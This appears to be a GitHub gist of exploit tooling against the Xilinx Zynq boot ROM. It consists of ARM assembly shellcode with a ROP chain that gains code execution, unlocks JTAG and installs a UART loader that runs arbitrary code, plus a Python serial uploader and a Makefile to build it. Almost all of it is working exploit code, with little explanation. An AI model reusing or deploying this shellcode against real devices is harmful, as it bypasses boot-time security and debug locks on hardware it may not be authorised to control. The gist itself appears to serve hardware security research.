Last active
February 12, 2022 09:31
-
-
Save four0four/209d808aa25a844f5710cfd67a6fc9cf to your computer and use it in GitHub Desktop.
zynq exploit loader shellcode
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
.section .text | |
.global _start | |
.global _payload | |
.equ sc_len, 516 | |
.equ mio_init, 0x57a4 | |
.equ uart_init, 0x06a0 | |
.equ printf, 0x0a9c4 | |
.equ bxlr, 0x0000015c | |
.equ dsb_write, 0xB000 | |
.equ uart_boot_init, 0xA1D4 | |
.equ wfe_loop, 0x007E4 | |
.equ memcpy, 0x1430 | |
.equ putch, 0xA7FC | |
.equ noise, 0xA1D4 | |
.equ uart_getc, 0xa188 | |
.equ read_devcfg, 0x1e0c | |
.equ write_devcfg, 0x1e18 | |
.equ tx_fifo, 0xE0001030 | |
.equ ocm_cfg, 0xF8000910 | |
.equ devcfg, 0xF8007000 | |
.equ devcfg_unlock, 0xF8000008 | |
.equ devcfg_key, 0xdf0ddf0d | |
# trampoline configurables: | |
.equ relocation_base, 0x70000 | |
.equ shellcode_sp, 0x7ff00 | |
.equ uart_pkt, 0x7ff00 | |
# sanity-restoration macros | |
.macro load32 reg, word | |
.equ l16, \word&0xffff | |
.equ h16, \word>>16 | |
movw \reg,#l16 | |
movt \reg,#h16 | |
.endm | |
# pollutes r12 | |
.macro fcall fn | |
load32 r12, \fn | |
blx r12 | |
.endm | |
# boot block hdr at +8 | |
_start: | |
_payload: | |
nop | |
nop | |
# "bad block table 0" | |
.ascii "Bbt0" | |
_sc_start: | |
# enable UART MIOs | |
load32 r0, 0xf80007c0 | |
mov r1, #0xe0 | |
fcall mio_init | |
load32 r0, 0xf80007c4 | |
mov r1, #0xe0 | |
fcall mio_init | |
# ugly hack, uart_init bails if *0x70000 != 0 | |
eor r0, r0 | |
load32 r12, 0x70000 | |
str r0, [r12] | |
# enable UART | |
fcall uart_init | |
# feed wdog | |
# dsb_write(0xf800_0008, 0xdf0ddf0d) | |
movw r12,#dsb_write | |
load32 r0, 0xf8000008 | |
load32 r1, 0xdf0ddf0d | |
blx r12 | |
# unlock JTAG | |
movw r12, #read_devcfg | |
blx r12 | |
bic r0,r0, #0x800000 | |
orr r0,#0xef | |
mov r2,r0 | |
movw r12, #write_devcfg | |
blx r12 | |
# say hi :) | |
add r0, pc, #banner-.-8 | |
movw r12,#printf | |
blx r12 | |
#### payload reader | |
movw r12,#uart_getc | |
# outer handler loop | |
outer: | |
load32 r11, uart_pkt | |
load32 r3, (uart_pkt+8) | |
read_header: | |
# grab the (addr, size) tuple w/uart_getch | |
# playing fast and loose w/r12, ok here | |
# r3: end addr | |
# r11: current ptr | |
blx r12 | |
strb r0, [r11] | |
add r11, #1 | |
cmp r11, r3 | |
addne pc, #read_header-.-8 | |
# got header, get payload | |
# r2: dest addr, r3: size | |
load32 r2, uart_pkt | |
ldr r3, [r2, #4] | |
ldr r2, [r2] | |
cmp r3, #0 | |
addeq pc, #done-.-8 | |
#beq done | |
# r3: end addr | |
add r3, r3, r2 | |
read_payload: | |
blx r12 | |
strb r0, [r2] | |
add r2, #1 | |
cmp r2, r3 | |
addne pc, #read_payload-.-8 | |
#bne read_payload | |
# again! | |
#b outer | |
add pc, #outer-.-8 | |
done: | |
bx r2 | |
_loop: | |
wfe | |
add pc, #_loop-.-8 | |
banner: | |
.ascii "got code exec!\n\r" | |
# pad out stack frame | |
.rept (sc_len-(.-_payload)) | |
.byte 0 | |
.endr | |
# restored registers | |
registers: | |
.word _r4 | |
.word _r5 | |
.word _r6 | |
.word _r7 | |
.word _r8 | |
.word _r9 | |
.word _r10 | |
.word _r11 | |
.equ _r4, 0x70000 | |
.equ _r5, 0xdead0005 | |
.equ _r6, 0xdead0006 | |
.equ _r7, 0xdead0007 | |
.equ _r8, 0xdead0008 | |
.equ _r9, 0xdead0009 | |
.equ _r10, 0xdead0010 | |
.equ _r11, 0xdead0011 | |
# starting PC (R0 == 0) | |
# simple ropchain to poke a useful primitive into RAM: | |
# R0 must be 0 | |
# 0x0000b638: pop {r1, r2, lr}; mul r3, r2, r0; sub r1, r1, r3; bx lr; | |
.word 0xb638 | |
# r1: | |
# push {sp} | |
.word 0xe52dd004 | |
# r2: | |
.word 0xdeadbeef | |
# 0x00008a6c: mov r0, #0; str r1, [r4, #0x14]; pop {r4, pc}; | |
.word 0x00008a6c | |
#r4 | |
.word 0x70004 | |
# R0 must be 0 | |
# 0x0000b638: pop {r1, r2, lr}; mul r3, r2, r0; sub r1, r1, r3; bx lr; | |
.word 0xb638 | |
# r1: | |
# pop {pc} | |
.word 0xe49df004 | |
# r2: | |
.word 0xdeadbeef | |
# 0x00008a6c: mov r0, #0; str r1, [r4, #0x14]; pop {r4, pc}; | |
.word 0x00008a6c | |
#r4 | |
.word 0xdeadbeef | |
# hit trampoline... | |
.word 0x70014 | |
# shellcode entrypoint: | |
trampoline_entry: | |
#add pc,#_sc_start-.-8 | |
#remove that ^ and uncomment | |
#this v to relocate + enable ivt modification | |
add r1,pc,#_sc_start-.-8 | |
mov r2,#0x200 | |
ldr r0,[pc, #reloc_base-.-8] | |
mov r12,#memcpy | |
ldr sp,[pc, #new_sp-.-8] | |
mov r7, r0 | |
mov r8, r1 | |
mov r9, r2 | |
blx r12 | |
ldr r0,[pc, #reloc_base-.-8] | |
ldr sp,[pc, #new_sp-.-8] | |
bx r0 | |
reloc_base: | |
.word relocation_base | |
new_sp: | |
.word shellcode_sp |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/python3 | |
import serial | |
import time | |
import sys | |
import os | |
from elftools.elf.elffile import ELFFile | |
from elftools.elf.sections import SymbolTableSection | |
e = ELFFile(open(sys.argv[1], 'br+')) | |
print('%d sections' % e.num_sections()) | |
req_sects = [ | |
".text", | |
".data", | |
".rodata", | |
".ARM.exidx", | |
] | |
ser = serial.Serial(timeout=0.1) | |
ser.port = sys.argv[2] | |
ser.baudrate = 115200 | |
ser.open() | |
def _send(s): | |
global ser | |
#print(s.hex()) | |
ser.write(s) | |
entry = e.header['e_entry'] | |
print("entry is @ 0x%x"%(entry)) | |
total = 0 | |
for s in req_sects: | |
sect = e.get_section_by_name(s) | |
l = len(sect.data()) | |
va = sect['sh_addr'] | |
print("[+] sending 0x%x bytes (%s) to 0x%x"%(l, s, va)) | |
total += l | |
_send(va.to_bytes(4, "little")) | |
_send( l.to_bytes(4, "little")) | |
_send(sect.data()) | |
print("%u/%u KiB RAM used"%((total / 1024), 256)) | |
print("godspeed!") | |
_send(entry.to_bytes(4, "little")) | |
_send(b"\x00\x00\x00\x00") | |
""" | |
while(ser.in_waiting == 0): | |
time.sleep(0.1) | |
print(b"got: "+ser.read(ser.in_waiting)) | |
""" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
as = arm-none-eabi-as | |
objcopy = arm-none-eabi-objcopy | |
objdump = arm-none-eabi-objdump | |
ld = arm-none-eabi-ld | |
proj = loader_sc | |
#proj = sc | |
all: $(proj).bin | |
disas: $(proj).bin | |
$(objdump) -D $(proj).bin -b binary -m armv7 | |
$(proj).bin: $(proj).s | |
$(as) -o $(proj).o $(proj).s | |
$(ld) $(proj).o -Ttext 0 -Tdata 0 -o $(proj).elf | |
$(objcopy) -O binary $(proj).elf $(proj).bin | |
rm $(proj).o | |
clean: | |
rm $(proj).bin $(proj).elf |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment